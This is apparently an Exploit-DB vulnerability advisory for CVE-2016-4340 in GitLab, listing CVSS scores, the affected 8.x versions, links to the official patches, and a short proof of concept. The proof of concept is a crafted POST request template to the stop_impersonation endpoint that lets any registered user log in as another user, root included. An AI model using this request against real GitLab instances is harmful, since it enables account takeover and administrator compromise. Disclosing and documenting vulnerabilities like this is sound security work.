GitLab - 'impersonate' Feature Privilege Escalation

2016-08-1500:00:00

Kaimi

www.exploit-db.com

6.5 Medium

CVSS2

Attack Vector

NETWORK

Attack Complexity

LOW

Authentication

SINGLE

Confidentiality Impact

PARTIAL

Integrity Impact

PARTIAL

Availability Impact

PARTIAL

AV:N/AC:L/Au:S/C:P/I:P/A:P

8.8 High

CVSS3

Attack Vector

NETWORK

Attack Complexity

LOW

Privileges Required

LOW

User Interaction

NONE

Scope

UNCHANGED

Confidentiality Impact

HIGH

Integrity Impact

HIGH

Availability Impact

HIGH

CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

8.8 High

AI Score

Confidence

High

0.026 Low

EPSS

Percentile

90.3%

JSON

# Exploit Title: GitLab privilege escalation via "impersonate" feature
# Date: 02-05-2016
# Software Link: https://about.gitlab.com/
# Version: 8.2.0 - 8.2.4, 8.3.0 - 8.3.8, 8.4.0 - 8.4.9, 8.5.0 - 8.5.11, 8.6.0 - 8.6.7, 8.7.0
# Exploit Author: Kaimi
# Website: https://kaimi.ru
# CVE: CVE-2016-4340
# Category: webapps
 
1. Description
   
Any registered user can "log in" as any other user, including administrators.
 
https://about.gitlab.com/2016/05/02/cve-2016-4340-patches/
 
   
2. Proof of Concept
 
Login as regular user.
Get current authenticity token by observing any POST-request (ex.: change any info in user profile).

Craft request using this as template:
 
POST /admin/users/stop_impersonation?id=root
. . .

_method=delete&authenticity_token=lqyOBt5U%2F0%2BPM2i%2BGDx3zaVjGgAqHzoteQ15FnrQ3E8%3D

Where 'root' - desired user. 'authenticity_token' - token obtained on the previous step.

   
3. Solution:

Use officialy provided solutions:
https://about.gitlab.com/2016/05/02/cve-2016-4340-patches/